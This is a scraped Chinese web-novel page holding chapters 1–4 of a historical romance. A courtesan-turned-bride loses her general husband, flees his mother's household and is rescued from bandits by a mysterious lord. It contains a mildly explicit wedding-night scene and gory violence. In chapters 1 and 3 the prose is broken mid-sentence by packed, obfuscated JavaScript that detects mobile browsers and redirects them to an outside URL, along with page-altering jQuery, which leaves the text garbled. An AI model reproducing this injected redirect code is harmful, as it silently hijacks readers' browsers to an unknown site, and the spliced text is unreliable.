《守寡守成了媚姬》 1. 第 1 章 夜渐深,树影婆娑。 楼府此刻灯火通明,红绸缎悬挂满府内,大红囍字张贴着的门紧闭,明亮暖黄的灯光映照出来,喜气极了。 守在外头的丫鬟瞧着门缝,压低声音,讥讽的话脱口而出:“风尘女子都能嫁进将军府,她倒是过上好日子了,这下谁还敢说她的不是。” “你小声点,别被她听见,她惯会向将军告状,添油加醋,小心她在将军面前说你!” 丫鬟还想再说,门忽然开了,高大的身影压迫而来,面容冷冽,一身骇人气势,“谁教你们的嚼舌根的?去领罚,再有下次,充军营。” 俩丫鬟立即认错,不敢再说一句。 门被关上,只听一道绵柔之声,声音不大,软绵绵的,听着叫人酥了骨头。 “要不是晏大哥在,她们指不定还怎么说妾呢……” 声音越来越小,倒是响起了别的声音。 楼府内逐渐安静下来,整个院子几乎听不到旁的声音。红绸舞动,囍字挂窗,一派热闹喜庆。 人影一晃,烛灯全部熄灭。 高大硬朗的男人脱下喜袍,放下帷幔,俯下身侧坐,小臂曲起,环住那不堪一握的腰肢,将人抱在怀里,含笑的声音响起:“阿宁为何不喜点灯?” 黑暗中姜予宁姣好的面容上闪过一丝慌乱,藕臂抬起,搂住男主脖颈,故意用那娇柔的声音哄他:“妾只是害怕夫君对妾……” 剩下的话不用说,男人自然懂。 “阿宁不用怕,我会轻些。” 常年练武的手积满力量,轻易撕开女子的衣裳,衣裳轻盈落下,帷幔一晃,娇吟乍起,被男人吞下,令人面红耳赤的声音接连不断,黏腻发烫。 姜予宁无力地攀上男人满是结实肌肉的臂膀,此刻唯有依靠他。 依靠这个自己费尽心机攀上的男人,镇北将军,楼家独子,楼晏。 禁锢腰身的手摩挲细腻肌肤,练武的人掌心几乎全是茧子,力气使得大,磨的她生疼。 痛呼声还没发出来,便被他吞入口中。 姜予宁听见他动情的呢喃,她侧着脸,受着他不知轻重的吻,心里却想着另外一件事。 他还未发现自己并非初次,只要今晚过去,她就是镇北将军夫人,不会再有人看不起她。 帷幔晃动,吱呀声响了大半夜,姜予宁还惦记着有件事尚未做,硬是撑到男人停歇去沐浴,将那一方帕子替换,才安心睡去。 子时一过,夜深露重,楼晏沐浴出来,方要唤丫鬟打水进来为新婚妻子擦拭,人刚走到卧房门口,一道焦急声音传来。 男人沉了眸子,抬首望去,正要呵斥,便见那小厮急急跑来,不住喘息,“将军,朱大人派人送来急报,说是边境敌军来犯,请您速速回防!” 楼晏神情瞬间凝重,走出几步,压低声音问:“可说了最低期限?” 小厮上半身都快碰到自己膝盖,腰弯得极低,“送信的人说,刻不容缓,即刻出发。” 楼晏沉默一瞬,偏头去看紧闭的卧房门。刀削般的下颌线紧绷,硬朗的面容上露出几分不舍。 “去准备盔甲,我很快就出发。” 小厮应声,掉头就跑。 楼晏转身,轻声走到卧房门口,推开门,几乎没有一丁点声音地走到熟睡的女子面前。 今晚折腾得久,她累着了,微微张着唇呼吸,眼尾挂着泪珠,面上潮红还未褪去,如那熟透的嫩桃一般粉。 楼晏知道自己的妻子样貌极好,静则温婉动人,动则媚态横生,宗阳郡多少人惦记她,但她只心悦他一人。 粗糙的指腹拂过她的脸颊,将她额间湿发别到耳后,浓重的眷恋与不舍倾泻而出。 他俯身,吻住她额头,落下一句:“阿宁,等我回来。” 姜予宁醒来时,身侧已经无人。 门被推开,丫鬟们鱼贯而入,依着楼母的吩咐,先是拿走喜帕,帕子上的鲜红晃人眼。 丫鬟伺候她穿衣洗漱,嘴巧的丫鬟夸她样貌好,跟天仙似的。 姜予宁听惯了夸自己容貌的话,但次次听到,还是会觉得开心,夸人的话不管听多少次,都不会觉得腻。 望着镜中上好妆的自己,抿唇一笑。 “将军呢?” 丫鬟摇头,说不知。 这便怪了,以楼晏对她的宝贝程度,定然不会在新婚后撒下她不管,难道是练兵了?可也不该这么早去练兵。 收拾好,姜予宁依着楼府的规矩,去给楼母请安。 楼父去得早,楼晏自小是被楼母一人拉扯大,因着家里穷,这才入军为兵,一路摸爬滚打,才走上如今的位置。 楼母对楼晏这个独子看得紧,若非她使了些手段哄得楼晏欢心,叫楼晏非她不娶,怕是根本进不了楼家的门。 方进了屋,仍旧不见楼晏人影,心下隐隐不安,但见楼母已经望过来,立即扬起笑走过去,朝着坐于首座的妇人一拜,跪下行了个礼。 “儿媳向母亲请安。” 楼母凝视她半晌,朝边上嬷嬷使了个眼色,嬷嬷叫丫鬟端来茶盏,递给姜予宁。 姜予宁接下,却没有敬茶,抬首望着楼母,面上不解:“夫君不该是与儿媳一同敬茶么?” 楼母拧着眉头,招了招手,嬷嬷立刻明白她的意思,为她轻揉太阳穴,舒缓疲惫。 昨夜得知楼晏要立即赶往边境,担忧得一夜未眠。她这个好儿子临走前,说的十句话里七句都是放心不下他新婚妻子,叫她好好照顾。 她倒好,睡上一整晚的好觉,这个时辰才醒,竟然还不知晏儿连夜奔赴边境,一丝担忧都无。 楼母垂着眼皮看跪着的女子,肌肤胜雪,面若桃花,双眸犹如秋水,唇红齿白,脖颈纤细,抛开她原本的身份不谈,确实是个美人胚子。 但在那风尘场所待得久了,骨子里那谄媚讨好根本洗不干净,即便是跪在婆婆面前,身子歪歪扭扭,怎么看都是勾引人的姿态。 楼母心中叹了口气,娶这么个儿媳,也不知是好是坏。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677335|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“晏儿昨夜便动身去边境御敌了,你不知吗?” 姜予宁手中茶盏险些掉落,美眸睁大,面上震惊:“儿媳不知。” 卷翘眼睫颤了又颤,无辜之色迅速覆盖面颊,看见她这样,谁都会心生怜惜。 楼母挥手示意边上的丫鬟将洒了的茶盏端回来,重新换上一盏茶,虽是不满她的表现,但没有多说什么。 “晏儿一走,这将军府里只剩下你与老婆子我,这些日子你且好好待在府里,彻底与之前的一切断绝。待晏儿回来,尽职尽责做他的妻子,好好服侍他。” 楼母语气重了些,姜予宁听在心里,只觉得她在讽刺自己,但如今想到的已经得到,她断然是不会再与过去有瓜葛。 咬了咬唇,重新扬起笑,端起茶盏,向楼母敬茶:“母亲请喝茶。” 楼母这才接过茶盏,抿了一口,递给嬷嬷。 姜予宁本想再说些漂亮话哄哄楼母,被楼母一句话打发了,让她回去歇着。 面上笑容一滞,行礼离开。 楼母不待见她,她是知晓的。这日子又不是与楼母过,只要楼晏护着她,待楼母归西,将军府便由她做主,忍这几年,好日子很快便来。 在楼府住了一年,起初日日有人伺候,喊她少夫人,姜予宁都快忘记曾经过的拮据日子。 后来楼晏久久不归,楼母对她态度逐渐恶劣,日日盼着楼晏能早些回来,可得到的,却是他的死讯。 听到丫鬟传来楼晏死讯时,姜予宁迟钝了许久,才惨白了脸。 “你说什么,将军,死了?” 她踉跄几步,险些摔倒。 那她日后,岂不是没有好日子过了? 姜予宁失眠了一整晚,第二日起来瞧见楼府挂上的白绸,这才接受这个事实,楼晏是真的死了。 楼母着手操办丧事,叫她日日跪在棺材前,守着那具看不出容貌的尸体。 郡守来吊唁时,是楼母接待的。 妇人一夜间白了头,眼睛哭肿,一连几日都未好好用饭,眨眼间瘦得如秸秆,嬷嬷搀扶着她小心走到灵堂,郡守朝她一拜,尤为惋惜。 “谁也没有料到楼将军会……”郡守重重叹了口气,安慰楼母:“还请节哀。” 楼母怎么能接受得了,红肿的眼中泪水流淌,一句话都说不出来。 郡守视线一转,落在跪于灵台前身穿孝服的女子身上,女子未施粉黛,素面示人,纤弱的身子微微颤动,无声哭泣。 郡守目光一闪,低声问楼母:“楼将军与少夫人刚成婚不到一日,楼将军一走,少夫人从此便没了夫婿,着实可怜。” 这几日楼母操心儿子丧事,又未休息好,声音嘶哑:“嫁进我楼家,一生是我楼家的人,她定然是要为我儿守一辈子的寡。” 姜予宁身子重重一颤,脑袋小幅度向楼母的方向转,克制着没有去看他们。 隐没在袖中的手死死捏紧,不甘与埋怨升起。 为楼晏守一辈子寡? 不可能! 2. 第 2 章 楼晏战死的消息传来后,姜予宁未曾想过立刻离开,在这楼府住了一年,多少也得报答报答。 可楼母竟然说出了叫她为楼晏守一辈子寡的话! 她才十八,还未去过大祁都城,往后余生就要被困在楼府里,日日要与这老婆子相处,她怎么能甘心! 嫁给楼晏为的是摆脱原本低贱的身份,是为荣华富贵,是为后半生无忧,人都死了,还要她守一辈子的寡,这话怎么能说得出口! 姜予宁握紧双手,指甲深深陷入掌心,刺痛被怒气与不甘掩盖。 郡守的声音靠近,前来安慰她:“少夫人节哀,楼将军为我大祁戍守边境,战死沙场,此等功劳,陛下知晓,定然会厚赏。” 说着,眼神扫过她纤细腰肢,声音低了些,“若是日后有需要帮忙的地方,尽管来郡府,我定当竭力相助。” 女子缓缓抬头,颤着眼睫,晶莹的泪从眼尾滑落,那双含泪的眼似乎能说话。 姜予宁知道自己这双眼最为好看,楼晏常常看着她的眼出了神,此刻她用这双眼望向郡守,楚楚动人的模样落在郡守眼里,更是看得走不动道。 “那便谢过大人了。” 姜予宁俯身一拜,郡守方要去扶她,身后传来楼母的声音。 “庞大人不必操心我楼家,两个妇道人家,哪有什么事大到要去郡府求您帮忙,宁儿与老婆子我便能解决。” 庞大人伸出去的手转了个圈,背到身后,咳了几声,道:“我还有些事要处理,便不留了。”说罢,他又朝楼母说了句节哀,离开楼府。 姜予宁眼角余光瞥到他走得飞快的步伐,垂了眸,身子瘫了回去。 连郡守都要看楼母脸色,她怕是指望不上他了,难道真要为楼晏守一辈子寡吗? 前来吊唁的人一走,楼母冷了脸,叫姜予宁一直跪着,自己回去休息。 楼母不在,灵堂外的丫鬟们胆子大了起来,远远瞧着棺材前的女子,七嘴八舌地说个不停。 “我瞧着她就是个不安分的,没嫁进来前是风烟楼的花魁,说的好听不接客,实际上啊,是想攀上高枝当凤凰呢。” “她若是还要与外头那些个不三不四的人来往,坏了将军的名声,我就算是惹得老夫人生气,也要为将军出这口气。” “将军为娶她,在老夫人面前跪了好几日,硬是求着老夫人心软,答应下来,她倒好,将军刚走,转头就与郡守搭上,狐媚子就是狐媚子,根本安分不了。将军还为她永不纳妾,她怎么配得上将军!” 丫鬟们狠狠出声,说了好几句,瞪了那弱柳扶风的背影一眼,才散开。 跪在棺材前的女子死死握着双手,极力忍耐,才没有冲上去教训她们。她心知楼晏一死,府里没有人会为她说话,这个时候去了,被罚的只有她。 姜予宁松开手,掌心几道红指甲印,差点出了血。 她似是感觉不到手上的痛一般,抬起为楼晏哭红了的眼,泪水簌簌而下。 “将军,并非妾无情,是这楼府容不下妾……” “将军,妾本想与你白首偕老,相伴余生,可你一走,还有谁会保护妾?” 楼母定然会严加约束她,本就看不起她,楼晏不在,还不知会怎么虐待她。前几日她不过是碰了楼晏遗物,便被楼母呵斥,吓得连续好几晚做噩梦。 醒来便被勒令从早到晚一直跪在棺材前,只等到晚上才能用饭。若说楼母没有存报复她的心思,她定然是不信的。 一直待在这楼府,定然没有好日子过。 姜予宁往前挪了几步,也顾不上裙摆会弄脏,双臂抱着棺材,脸颊贴上去,棺材的冰冷刺痛肌肤,她嚅嗫着,“将军不会怪妾的吧。” 妾不是有意要离开将军的。 妾是被逼的。 泪水止不住地流淌,洇湿衣裳。 也不知是为楼晏战死而哭,还是为自己这些日子的遭遇而哭。 下葬过后,刚回楼府便被楼母勒令换上一身白衣,并且日后永远不可施粉黛戴朱钗。 姜予宁抿唇接下,没有说一句话。尽量控制着自己的手不要颤抖,绝对不能被楼母看出异样。 她已经为楼晏守丧,还为他送葬,做到这一步已经算是把他的恩德全都报答了,剩下的不该由她来承受。 忍耐着听楼母说完那些难听的话,出了楼母院子,径直往卧房而去。 她已经准备好了,今晚便跑。 当初楼晏为她上族谱时,她就在边上看着,楼母根本不会想到她会把写有自己名字的那一页画掉,还把婚书也烧了,待楼母发现时,她早已经跑了。 姜予宁回到卧房,屏退丫鬟,拿出自己收拾好的行囊,里头都是她这些年攒下来的首饰,还有楼晏送她的那些,都要带走。 今晨天还未亮,悄悄去了厨房,拿了好几个馒头,提前吃了垫饱肚子,免得晚上跑时没有力气。 待天一黑,她便跑出去,永远离开这里,换个身份活。 姜予宁就这么抱着行囊,跪坐在床边,死死盯着外头光线,眼眶不由自主地又红了。 夜幕降临,她站起来换了丫鬟衣裳,将行囊绑在腰间,用衣衫盖住,没有走正门,而是从窗户那爬出去。幸亏当初楼晏将婚房选在南边,靠近外头小巷,爬出去往南继续跑,便能去郊外。 届时她便能找辆马车,趁着天亮出宗阳郡。楼母应当不会那么早唤她起来,待楼母发现她不见了,以楼母的性子,不会立刻找她,她便有时间离开。 姜予宁为自己缜密的计划感到骄傲,从早就准备好的垫脚柴堆上爬上围墙,转头一看围墙外,高度吓得她身子一抖,紧闭双眼,深呼吸后,缓缓放下身子,一点点往下滑。 落地时摔得不轻,死死咬着唇没有叫出来,缓了一会站起来,头也不回地朝南边走。 越往南边越荒凉,宗阳郡位于大祁南边边境,与大夏接壤,两国时有摩擦,近几年纷争不断,打了好几场战。 楼晏战死,宗阳郡若是守不住,大夏的兵一旦攻进来,她更是没有好日过。 姜予宁抱着行囊环顾四周,起先还能瞧见几盏亮着的灯,再走,周围黑压压的,除了头顶的月,什么都瞧不见了。 心里发毛,但又不能不走,只得硬着头皮继续往前。 郊外树木密布,稍不留神,很有可能迷路,姜予宁先前跟着楼晏来过这,认得一段路,抱紧了行囊,还红着的眼警惕环 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她直接扔了行囊,还特地把里头的首饰散开,只希望这群马匪只劫财,去捡首饰,还能给她争取逃跑时间。 人怎么可能跑得过马,那人很快追上她,直接拦住她去路。 姜予宁心跳骤停,惊慌失措抬头,通红的眼看到马匪时,吓得腿一软,差点跌倒,赶忙调转方向跑。 马匪一见她的模样,双眼锃亮,朝那群马匪喊:“大哥,是个好货!” 旋即跳下马,几步追上她,使劲一拉她胳膊,色心上头,又见这女子娇弱,根本没有防备,手臂骤然刺痛,嚎叫声起。 姜予宁松开插进他胳膊上的发簪,掉头就跑,胸口心脏扑通直跳。 为楼晏守灵堂的这几天根本没吃好,楼母只让她吃一顿,身子都垮了,根本坚持不了跑多久。 那马匪拔了发簪甩开,怒骂一声,撒腿就追。眼看就要追上去,女子忽然倒地,直直滚了下去。 马匪立刻止住脚,探头一看,竟然是个斜坡,尽是些枯枝灌丛,这要是一个不小心滚下去,定会被刮伤。 马蹄声靠近,马匪们追了上来。 “追,把这娘们带回去,让兄弟们快活快活。” 马匪纷纷下马,一波绕路找下去的路,一波去滑坡上直接追。 姜予宁浑身痛得说不出话,灌丛枝子险些刮到她的眼睛,脸上火辣辣地疼。 顾不上查看伤势,她只得爬起来,踉跄着往前跑,一定不能被抓到。 被泪水模糊的视线里忽然瞧见一抹银白,急忙擦了泪,睁大眼一看,前方陡坡上正立着一匹白马,马背上坐着一人,身姿挺拔,衣着打扮尽显尊贵,一眼便知他与马匪不是一路人。 马匪的话也印证了这一点。 “快去把那娘们抓回来,那人看起来不对劲。” 姜予宁求生的希望越来越强烈,盯着前方马背上的人,拖着自己的身体,拼尽全力朝他跑去,用自己平生最大的声音呼喊:“救命——” 那人似乎没有注意到有人求救,并未动。 姜予宁匆匆回头,一看到那群追赶过来的马匪,整颗心都沉到谷底。 3. 第 3 章 平生第一次这么想活下来,好好地活着。 脚踝不知何时伤到,踩到地面钻心地疼,姜予宁不敢停下,身后马匪在追,一停下,再也没法安然离开。 不断朝前方的男人呼喊,想让他救自己。只要他骑马而来,拉她上了马,便可脱离危险。 可那人似乎定在那,一动不动,若非白马甩了尾巴,她几乎要以为那是自己的幻觉。 与男人的距离在缩短,可身后的马匪越来越近,再这么下去,定然会被抓住。 姜予宁没了法子,只能拼命跑向男人,距离刚缩短几米,白马忽然动起来,她并未感到安心,因为那匹马没有过来。 遍地的灌丛阻拦她的步伐,几次都差点被绊倒。她的脚步因为男人离开而绝望停下,再一看身后只差几米就要追上来的马匪,姜予宁只能最后尝试一次。 她朝那已经走了几步的男人呼喊:“公子,救救我——” 那匹马好似停了下来,姜予宁心头一喜,重新迈开双腿朝他跑去。 然而此时马匪已经追上来,一把抓住她发丝往后一扯,姜予宁整个人被拉扯得撞到马匪身上,难闻的味道薰鼻腔,恶心极了。 即便流落风烟楼,也未曾受过如此对待,风烟楼的妈妈把她当成宝,从未逼她接客,更别提这类浑身都是臭味的男人。 不知从哪来的力气,她一扭头,对着马匪的手张口就咬。 马匪吃痛,使劲一推她,低头一看,手背被咬出了血。咒骂数句,刚要把人抓起来带回去,转头一看,女子已经跑出去数米。 “真能跑。”马匪朝身后人招呼一声,一起追上去。 姜予宁呼吸不上来,脚步越来越慢,睁圆了的眼紧紧盯着前方不远处的男人,视线逐渐模糊。 女子奔跑在黑夜中,身上淡色衣裳在逃亡中不知何时散开了些,发丝凌乱,随着奔跑打在脸上,掩住半张脸,露出来的唇张开,急促呼吸,隐约可见藏在唇后的贝齿,紧张时微微咬住唇,不过片刻便松开。 即便是逃亡,她身上也有种凌乱美,看得追她的马匪更是激动。 这样姿色的人,可是少见得很啊。 眼见就要接近那匹马,姜予宁心头一喜,撑着身子加快脚步,一脚落下,竟然踩空了。 身子重重砸在地上,灌丛枯枝扫过身子,隔着衣裳戳刺身体,痛得她忍不住呼出声来。 滚了好几圈才停下,姜予宁疼得说不出话,艰难地撑起身子,一抬头,便见那匹白马就在眼前。 被擦伤的脸露出轻松的笑,她抬脚就要走过去,被枯枝绊倒,人猛地摔倒。这次正面摔跤,又是夜晚,看不清脚下的东西。 左眼刺痛,像是有锥子刺进眼睛里,钻心地疼。 姜予宁疼得哭了出来,双手撑在粗糙的灌丛枝干上,心里难受得开始后悔。 要不是楼晏死了,她就不用为他守寡,也不会想着要逃出来。 要是不逃出来,根本不会遇到马匪,也不会伤到眼睛。从小到大,从来没有受这么重的伤。 姜予宁直起上半身,模糊的视线里似乎看到那匹马就在眼前,就在她摔下来的坡边上。 求生的念头盖过一切,她就着被绊倒的姿势,跪在满是尖锐枯枝的地面上,右眼泣出泪。 “求公子救救妾,那群马匪要抓妾。” 女子眼含泪水,声音哀求中带着明晃晃的魅惑,忽略她此刻紧迫的情况,这声音听起来,像是在刻意勾引。 姜予宁看不清眼前的男人,极大的惊慌中忘记了左眼的疼痛。 “公子,救救妾……” 女子的破碎的声音充满哀求,纤弱的身躯跪坐在荆棘之中,谁看了都没法狠心不救。 白马打了个响嚏,双耳一抖,低头望着这陷入险境的女子,焦躁地跺着马蹄。 声音似乎吓到了她,身子一哆嗦,微微瑟缩,却又想到自己在求人,尽力打开身子,不显得那么怯懦。 知道他是自己唯一的救命稻草,拼尽全力也要让他答应救自己,曾经在风烟楼里学的魅惑人的法子,此刻不自觉地用了上来,她向来知道要怎么展示自己最美的一面去迷惑男人,当初楼晏便是这般被她勾到手的。 她仰起脸,露出自己最满意的眼,可现在她的眼正在流血。 左眼眼尾一侧一道拇指宽的划痕,殷红的血沿着她眼尾缓缓下滑,竟是与她右眼泣出的泪同时滑落。 本该是惊恐的一幕,配上她这张脸,倒是有了别样的韵味,一眼望去,比施了粉黛还要多几分艳色。 男人看她的眼眸沉了下去,只盯着她落了血的眼看。 白马四蹄跺着地面,男人手掌收紧缰绳,白马稍微安静了些。 姜予宁视线越来越模糊,身后马匪叫嚣的声音却越来越近,心更是慌乱。 “公子……”她娇声呼唤。 这一声喊似乎起了作用,男人动了,却只是手覆在马背之上,躁动的白马立刻安静下来,静静望着女子。 在姜予宁模糊的视线中,男人幽深的眸子垂下,一直在打量她。 看她怎么逃亡,看她跌进坑中,再看她怎么搔首弄姿,求自己救她。 萧寒山只是路过,本想离开,马却不愿走。等了会,便见她跑出来,身后追着马匪,这倒是恰好帮了他一个忙。 谩骂声逼近,男人抬眸,对上追来的马匪。 马匪一见他,面上戒备,警告他:“这娘们我们已经看上了,你要想留下小命,就立刻离开,否则我和兄弟们不介意多杀一个人。” 话虽这么说,马匪心里还是没底。 这人之前未曾见过,但他那匹白马可是能认得出来,浑身一丝杂质都没有,一看便知是名贵品种,能拥有这样一匹马的人,定然不容小觑。冒然杀了他,恐会惹来祸端。 且他腰间还挎着一把刀,锦袍之下隐约可见肌肉轮廓,定是个练家子。一身装束看着就知价值不菲,此人身份绝对不简单。 “我等不愿与你结仇,我劝你也不要多管闲事,就此离去,双方都好。” 萧寒山拉了缰绳,白马掉头,他似乎没有要帮姜予宁的意思。 姜予宁哪能让他走,现下保命要紧,说些好听的话让他救自己,凄声哀求:“只要公子愿意救妾,妾会报答公子,伺候公子一辈子。” 马匪一听,直接下来要把她带走。 姜予宁能感觉到有人在靠近,惊恐之下什么都顾不得,尖声叫出来:“你们敢动我,楼晏立刻就会来杀了你们!” 刚喊出口,马匪冷笑:“楼晏已经死了,你喊啊,有本事你喊他来啊。” 人刚到她身后要扯她 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16677337|188704||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 起来,破空之声骤然响起,紧接着下来的马匪痛呼一声,在姜予宁身后倒下。 还没反应过来,姜予宁就听见马匪气急败坏地咒骂,她下意识回首望去,视线里只看到混成一团的人影,看不清楚。 他们似乎打起来了,姜予宁眨了眨眼,蚀骨的痛从左眼传遍身体各处。 此刻她才真真切切地感受到这股痛,抬手一碰左眼,手被扎到一般弹开,一点都不敢再碰。 好疼好疼,真的好疼。 泪水如断了线的珍珠砸落,姜予宁虚虚捂住左眼,半天才想起来要跑。 然而双腿发软,根本站不起来。 周围打斗声与咒骂声此起彼伏,而她自己好似海上孤舟,完全找不着方向。 视线越来越模糊,那些本来清楚的人影变成了一团团黑影,黑影里头混着一团白,这是她唯一能看清楚的颜色。 可这团白也越来越模糊了。 姜予宁慌了神,追着那团白艰难爬去,血混着泪滑落,在她白皙的脸颊上绘了一道红痕。 “公子,救救我,我看不见了……” 她的声音越来越弱,浑身抽痛,再怎么努力,也只移动了几步,根本碰不到他。 不过片刻,地上倒了大片,马匪见情况不对,干脆一不做二不休,杀了这两人就跑,叫几个去杀姜予宁,剩下的杀萧寒山。 胳膊被人扯住,姜予宁慌乱之间拍打抓自己的人,“别碰我,别碰我!” 缠斗中的男人偏头,朝坑那看了眼,一刀抽出,眼一眨也不眨,转手便砍下身后来偷袭的马匪脑袋,顺手接过马匪掉下的刀。 坑里的马匪举起刀,刚要杀姜予宁,动作骤然停住,他身边的人偏头一看,吓得屁滚尿流,掉头就跑。 他胸口被一把刀刺穿,血喷溅出来,洒了姜予宁一身。身子往后一倒,没了气。 姜予宁已经睁不开眼,不知道发生了什么,只记得求助。 “救我,我不想死,我不想死……” 惊恐的泪混着血流下,女子脸颊一侧被泪水洗清污渍,一侧被蜿蜒血泪充斥,与先前洁净的模样没有一丁点相似。 周围的声音好像低了很多,姜予宁还在哭。 突然一道冷声传来,在此刻的她听起来,宛如天籁。 “还起得来吗?” 姜予宁方要说起得来,话到口中,成了起不来。 隐约间似乎听到空气中响起一声冷嗤,待她仔细去听时,只有什么东西落地的声音。 不等她改口,身子忽然腾空,她急忙双手抱住唯一能碰到的东西,听到近在咫尺的声音,吓得缩回了手。 “你伤到了眼睛。” 男人的胸膛格外结实,很有安全感。 姜予宁点了头,嗅到他身上的沉香,心口一跳,悄悄靠在他胸膛上。 忽然想起楼晏,健硕有力的臂膀总能轻松抱起她,常年练武的身体比常人强壮许多,每每被他抱住,安全感十足。 “多谢公子相助,若非公子,妾此时怕是已经遭遇不测了……” 她哭得梨花带雨,好不可怜。 萧寒山垂眸望着怀里的女子,并未理她的话,目光落在她伤了的左眼上看了许久,才去看她这张脸。 这就是楼晏心心念念要娶回去的,美娇娘么。 4. 第 4 章 男人将她抱至马前,白马打了个响嚏,跺了跺脚,见主人抱着一人回来,好奇探头望。 女子眼尾的血已经干涸,疼痛还在,她死死抓住男人的衣衫,压抑着痛哼,但还是忍不住唤了出来。 “公子,妾好疼好疼……” 男人自然是知道她眼睛疼,动作却不急不缓,仿佛丝毫不关心她眼睛疼不疼。将人放到马背上,没有上马。 不远处阵阵马蹄声响,火光照亮夜晚,扬眸望去,只见十几人骑马而来,在男人面前停下,纷纷下马,跪于他面前,双手抱拳作揖。 来人见一地尸体,不由得心惊。“属下来迟,请主子责罚!” 马背上的姜予宁被疼得险些晕过去,一听这声音,便知她果然没有看错人,此人身份绝对不一般,当即喜得连痛都好似淡去几分。 她乖乖趴在马背上,只等着这位突然出现的公子带她离开。 “将他们处理了。” 耳畔传来摩擦声,有人上了马,旋即身子颠簸起来,马儿动了。 姜予宁此刻只觉得欣喜,自己就要摆脱楼晏妻子的身份,不用守寡,更不用被楼母刁难。 她虽是高兴,可身子越发得不适,眼前什么都瞧不见了,骤然慌乱,她艰难伸手摸索,触碰到光滑之物,又摸了几下,那应该是男人的衣裳。 她赶紧捏紧,扯了扯,尽力出声:“公子,妾看不清了……” 男人垂眸,瞧着她惊慌失措的样,无声一哂,未曾理她,只策马前行。 姜予宁心里越来越害怕,怕自己就这么瞎了眼,后半辈子只能当个瞎子,巨大的恐慌让她本能地求助一切能帮到自己的人,不住地请求这位好心救了自己的公子。 但他的好心似乎已经用尽,不论她怎么求,都听不见一声回应,甚至载着自己的马儿跑得更快,颠得她胸腹撞击在坚硬的马背上,生疼生疼。 姜予宁哪里吃得了这样的苦,忍不住哭出来,凄声哀求。 “求公子帮妾寻大夫瞧好眼睛,妾会报答公子。”想到男人的身手,价值不菲的衣裳,还有赶来的那群人,姜予宁只犹豫了一瞬,当即出口,“妾会一辈子服侍公子。” 她惯会以可怜的样博取男人怜惜,故技重施,妄图这样便可叫男人心软。而从她遇见男人起,只字未提自己的身份。 萧寒山勒了缰绳,马儿放缓脚步。 女子同样的话术再次响起,他偏头扫了眼一半身子倒挂的女子,哂笑。 楼晏眼光不是一般的差,随随便便就将服侍男人一辈子的话说出来,这样的女子,也只有他会看上。 只可惜,楼晏也只在成婚那日与美娇娘相处片刻时间,人娶回去不到一日,他死了。 美娇娘更是连亡夫的名都不提,就这么与陌生男人走。 女子还在哀求,萧寒山冷了眸子,拎着缰绳,身子往右侧一倾,一记手刀将人打晕。 “聒噪。” 男人一鞭而下,马儿嘶鸣,疾步而行。 赶来的侍卫将马匪尸体处理干净,回去复命。 白马奔出树林,来到一处院落,马蹄声渐渐停歇,灯火亮起,婢女提着灯笼迎接。 男人下了马,接过婢女递来的湿帕净手,将帕子扔回婢女手里,正要走时,婢女壮着胆子问:“主子,马背上的姑娘……” 萧寒山似乎这个时候才想起自己带了个人回来,眉梢压低,随口道:“找个大夫给她瞧瞧眼睛。” 旋即进了房间。 婢女不敢多问,当即叫小厮去请大夫。唤了两个婢女过来搭手,将马背上的女子抬下来,借着灯笼的光一看,顿时吓了一跳。 只见女子左眼眼尾满是血,蔓延到鬓角,将乌发都染红。 婢女面面相觑,无一人敢多言,连忙将女子抬去客房,准备温水帮她擦除脸上血迹。 待擦去污渍,见着女子的脸,婢女们不由得发出惊叹。 好惊艳的一张脸。 荧荧烛光映照得她脸上肌肤通透细嫩,柳叶长眉,杏眼翘鼻,唇应是左眼失血又或是惊吓过度少了些血色,唇珠饱满,叫人忍不住想咬一咬。 婢女们知道不该议论主子的私事,但见主子破天荒带回来名女子,还是这般姿色绝佳的,着实忍不住惊叹。 她们也只敢在心里想想,断然是不敢说出来的。 大夫来后细细探查,道:“本是伤得不重,及时医治很快便好,但这伤应是遭到颠簸,加重伤势,须得将养数月才可好全。老夫开了药方,你等按照药方抓药,内服外敷不得间断。” “这位姑娘醒来后若是说瞧不见,你等告知她,这是正常的,不必害怕。” “最好不要见光,若是要外出,系上眼纱便可。” 小厮送大夫离开,婢女本想将诊治结果汇报给主子,思及现下夜已深,不好打扰,便打算明日再说。 清晨日光透着窗户洒入屋内,逐渐将里头照亮,鸟雀鸣叫,偶有几声婢女呼唤。 床上的人身子一颤,指尖动弹,缓缓睁开眼,入目却是一片漆黑,不仅如此,双眼疼得睁不开。 她连忙闭上眼,等待疼痛缓解。脸颊上似乎压着什么东西,冰凉冰凉的,还有难闻的味道。 姜予宁大脑一片混沌,思绪还停滞在自己被马匪追杀,脑袋抽痛,闪过一抹白,旋即想起一切,当即要撑着身子起身,却无力地倒了回去。 浑身没有力气,腰腹胀痛,更痛的是自己双眼。 蓦地想起自己眼睛伤到,立刻抬手去碰,指尖摸到冰凉的,还有些黏糊的东西,吓得缩回手。 努力想要看清那是什么东西,可根本睁不开眼。嗅出里头有药味,应是有人帮自己敷了药。 莫大的恐慌在心里扩散,她不敢碰自己的眼睛,惊恐地觉得自己瞎了。 只一会的功夫,害怕得眼泪流出来,眼睛更疼。 躺着害怕了好一会,忽地想到自己请那人帮忙,所以现在,该是安全了? 她张开口,哑声呼唤:“可有人在?” 声音微弱,没有传出去。 姜予宁心一颤,未弄清自己处境,没法安下心。她又不敢将眼上的东西去掉。 